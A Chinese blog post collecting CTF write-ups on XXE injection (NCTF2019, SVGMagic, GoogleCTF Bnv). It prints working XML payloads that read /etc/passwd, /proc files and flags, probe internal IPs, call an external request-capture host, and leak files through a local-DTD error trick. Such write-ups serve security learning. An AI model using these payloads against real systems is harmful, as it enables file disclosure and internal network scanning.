XXE漏洞与CTF题目

1.[NCTF2019]Fake XML cookbook 1

典型的XXE攻击是由

XML声明:<?xml version="1.0"?>

DTD部分(通过特殊的命令去其他文件读取信息)

SYSTEM

XML部分组成

危害:

XXE 可以通过dtd去读取,访问其他文件或者网站,类似于ssrf

<!DOCTFPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]>   DTD部分

<scan>&test;</scan>  XML部分

scan标签设置一个test的实体,这个实体是通过system命令访问1.txt

构造payload

<?xml version="1.0" encoding="utf-8"?>//XML声明

   

<!DOCTYPE note [

  <!ENTITY admin SYSTEM "file:///flag">

  ]>

<user><username>&admin;</username><password>123456</password></user>

2.[NCTF2019]Fake XML cookbook

根据抓包信息,页面以POST的方式传输了XML数据,此时我们可以添加一个恶意外部实体,在原本的XML数据里进行引用,以此达到攻击的目的

定义外部实体

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

  <!ENTITY admin SYSTEM "file:///etc/passwd">

]>

其中a 表示此文档是a类型的文档

ENTITY中的内容表示声明了一个名为admin的外部实体(含SYSTEM就是外部实体),实体内容为读取/etc/passwd信息

定义实体后,在已经存在的< username>标签中可以进行调用,使用&admin;即可

一般flag文件在根目录下,所以直接使用:file:///flag即可

3.[NCTF2019]True XML cookbook Writeup

这里暴露出来很明显的xxe注入点。

我们开始构造payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE hacker[

<!ENTITY a SYSTEM "file:///etc/passwd">

]>

<user><username>&a;</username><password>a</password></user>

我们读取关键文件:/etc/hosts 和 /proc/net/arp。

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE hacker[

<!ENTITY a SYSTEM "file:///etc/hosts">

]>

<user><username>&a;</username><password>a</password></user>

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE hacker[

<!ENTITY a SYSTEM "file:///proc/net/arp">

]>

<user><username>&a;</username><password>a</password></user>

给了一个主机IP,读取一下:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE hacker[

<!ENTITY a SYSTEM "http://10.106.213.2/">

]>

<user><username>&a;</username><password>a</password></user>

直接报错,但没关系,我们可以进行C段扫描

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE hacker[

<!ENTITY a SYSTEM "http://10.106.213.11/">

]>

<user><username>&a;</username><password>a</password></user>

4.[CSAWQual 2019]Web_Unagi XXE漏洞 [HarekazeCTF2019]Avatar Uploader 1 finfo_file和getimagesize

通过iconv转换成utf-16编码绕过

iconv -f utf8 -t utf-16 1.xml>2.xml

简单概括就是要让finfo_file判断是png但是getimagesize判断不是png就能得到flag。

finfo_file通过文件头来判断,getimagesize还通过长宽等很多其他信息来判断

找一张png图片看一下(ps.要求的图片尺寸要很小,我剪裁了好多次)

保留文件头,其他删掉试一下,记得多删掉一点,留下IHDR就可以了

5.buu-[BSidesCF 2019]SVGMagic

由SVG造成的XXE注入

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///etc/passwd" >

]>

<svg height="200" width="1000">

  <text x="10" y="20">&file;</text>

</svg>

可以读到passwd

读取/proc/self/cwd/flag.txt

/proc/self 链接到当前正在运行的进程

/proc/self/cwd当前工作目录

小本本记下来

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >

]>

<svg height="200" width="1000">

  <text x="10" y="20">&file;</text>

</svg>

6.[GoogleCTF2019 Quals]Bnv -S

.发现通过json格式传送message参数,此处尝试使用xml格式传送数据,如果可以的话,就可以考虑使用xxe进行攻击。

构造xml:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE message [

<!ELEMENT message ANY >

<!ENTITY test "135601360123502401401250">

]>

<message>&test;</message>

服务器成功解析,接下来看看能不能连接外网:

测试xml:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE message [

<!ELEMENT message ANY >

<!ENTITY test "135601360123502401401250">

<!ENTITY % a SYSTEM "https://bbbbb.free.beeceptor.com">

%a;

]>

<message>&test;</message>

注意到当路径错误时会返回错误路径,这让我联想到sql的报错注入,如果把file协议读取到的信息

拼接到路径中是否就可以通过报错显示出来了?

给出paylaod:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE message [

<!ELEMENT message ANY >

<!ENTITY m "135601360123502401401250">

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa '

<!ENTITY % flag SYSTEM "file:///flag">

<!ENTITY % getflag "<!ENTITY % test SYSTEM 'file:///%flag;'>">

'>

%local_dtd;%getflag;%test;

]>

<message>&m;</message>

对实体内%,' ,& 进行unicode编码防止报错:

% => %                    ' => '                & => &

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE message [

<!ELEMENT message ANY >

<!ENTITY m "135601360123502401401250">

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa '

<!ENTITY &#37; flag SYSTEM "file:///flag">

<!ENTITY &#37; getflag "<!ENTITY &#38;#37; test SYSTEM &#39;file:///%flag;'>">

'>

%local_dtd;%getflag;%test;

]>

<message>&m;</message>

%local_dtd;%getflag;%test;解析过程:

1.初始状态

<!ENTITY % ISOamsa '

<!ENTITY &#37; flag SYSTEM "file:///flag">

<!ENTITY &#37; getflag "<!ENTITY &#38;#37; test SYSTEM &#39;file:///%flag;'>">

'>

%local_dtd;%getflag;%test;

2.解析%local_dtd;

<!ENTITY % flag SYSTEM "file:///flag">

<!ENTITY % getflag "<!ENTITY %#37; test SYSTEM 'file:///%flag;'>">

%getflag;%test;

3.解析%getflag;

<!ENTITY % flag SYSTEM "file:///flag">

<!ENTITY % test SYSTEM 'file:///%flag;'>

%test;

4.解析%test;

此时flag会被拼接到test的路径中,并读取路径,之后就是报错,我们就可以从报错的路径中看到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值